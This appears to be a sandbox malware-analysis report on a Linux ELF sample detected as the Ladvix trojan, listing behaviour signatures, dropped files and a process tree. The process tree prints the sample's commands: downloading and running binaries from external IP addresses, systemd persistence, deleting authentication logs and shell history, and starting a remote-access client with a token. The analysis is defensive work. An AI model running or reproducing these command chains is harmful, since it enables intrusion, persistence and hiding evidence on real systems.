Overview

overview

10

Static

static

1

3b2cbd1dd7...c9.elf

ubuntu-18.04-amd64

10

Analysis

  • max time kernel
    3s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    15/08/2026, 03:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    3b2cbd1dd7e0e78cab544fa6c5b97fa500f092e3c4fbe62adbbbbf1af79564c9.elf
  • Size 2.3MB
  • Sample260815-dpc69sxfpc
  • SHA256 3b2cbd1dd7e0e78cab544fa6c5b97fa500f092e3c4fbe62adbbbbf1af79564c9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryladvixinfectorpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Family: Ladvix

    Ladvix is a linux trojan and file infector first seen in 2022.

    trojaninfectorladvix
  • ladvix 1 IoCs

    Detects Ladvix payload

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes log files 1 TTPs 4 IoCs

    Deletes log files on the system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 1 IoCs
    persistence
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/3b2cbd1dd7e0e78cab544fa6c5b97fa500f092e3c4fbe62adbbbbf1af79564c9.elf
    /tmp/3b2cbd1dd7e0e78cab544fa6c5b97fa500f092e3c4fbe62adbbbbf1af79564c9.elf
    1⤵
    • Modifies systemd
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1469
    • /bin/uname
      uname -m
      2⤵
        PID:1473
      • /bin/bash
        bash -c "cd /usr/bin && curl -LO http://2.57.241.243/ip/log && chmod +x log"
        2⤵
        • File and Directory Permissions Modification
        PID:1474
        • /usr/bin/curl
          curl -LO http://2.57.241.243/ip/log
          3⤵
          • Write file to user bin folder
          • System Network Configuration Discovery
          PID:1475
      • /bin/chmod
        chmod +x log
        2⤵
        • File and Directory Permissions Modification
        PID:1474
      • /bin/systemctl
        systemctl daemon-reload
        2⤵
        • Reads runtime system information
        PID:1485
      • /bin/systemctl
        systemctl enable log
        2⤵
          PID:1506
        • /bin/systemctl
          systemctl start log
          2⤵
            PID:1527
          • /usr/bin/pgrep
            pgrep -x log
            2⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:1530
          • /bin/bash
            bash -c "cd /var/log && rm -rf auth.log wtmp lastlog btmp; cd /var/run && rm -rf utmp; history -c; cd && rm -rf .bash_history"
            2⤵
              PID:1533
              • /bin/rm
                rm -rf auth.log wtmp lastlog btmp
                3⤵
                • Deletes log files
                PID:1536
              • /bin/rm
                rm -rf utmp
                3⤵
                  PID:1538
              • /bin/bash
                bash -c "unalias -a 2>/dev/null"
                2⤵
                  PID:1540
                • /bin/bash
                  bash -c "cd /var/tmp && rm -rf *"
                  2⤵
                    PID:1542
                  • /bin/rm
                    rm -rf systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-95S0YA systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-7qWaLM systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-H0fz2C systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-XRXiyL systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-xRGH3i
                    2⤵
                      PID:1542
                    • /bin/bash
                      bash -c "history -c ; if [ ! -f /var/tmp/cli ]; then wget -O /var/tmp/cli 'http://176.65.139.211/cli' && chmod +x /var/tmp/cli; fi; pgrep -af '/var/tmp/cli' || /var/tmp/cli start accept --token 'gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8=' > /dev/null 2>&1 & disown"
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1544
                      • /usr/bin/wget
                        wget -O /var/tmp/cli http://176.65.139.211/cli
                        3⤵
                          PID:1545
                        • /bin/chmod
                          chmod +x /var/tmp/cli
                          3⤵
                          • File and Directory Permissions Modification
                          PID:1546
                        • /usr/bin/pgrep
                          pgrep -af /var/tmp/cli
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1548

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          log.service
                          • Path /etc/systemd/system/log.service
                          • Size 255B
                          • SHA256 131a404d74f32a6cb598a41277a60f6ecbe1e1ac25cc80f3af145fef722cf0f6
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          log
                          • Path /usr/bin/log
                          • Size 27KB
                          • SHA256 31084551fd7393dcbdb21905d725435a8a3f12ea93251d18fedec11b13f7e4ef
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          cli
                          • Path /var/tmp/cli
                          • Size 2.6MB
                          • SHA256 c21fa4c1d6ed5342e49ef0561cc566a2cbe06a83f6298374fe9cb4f8027b6911
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download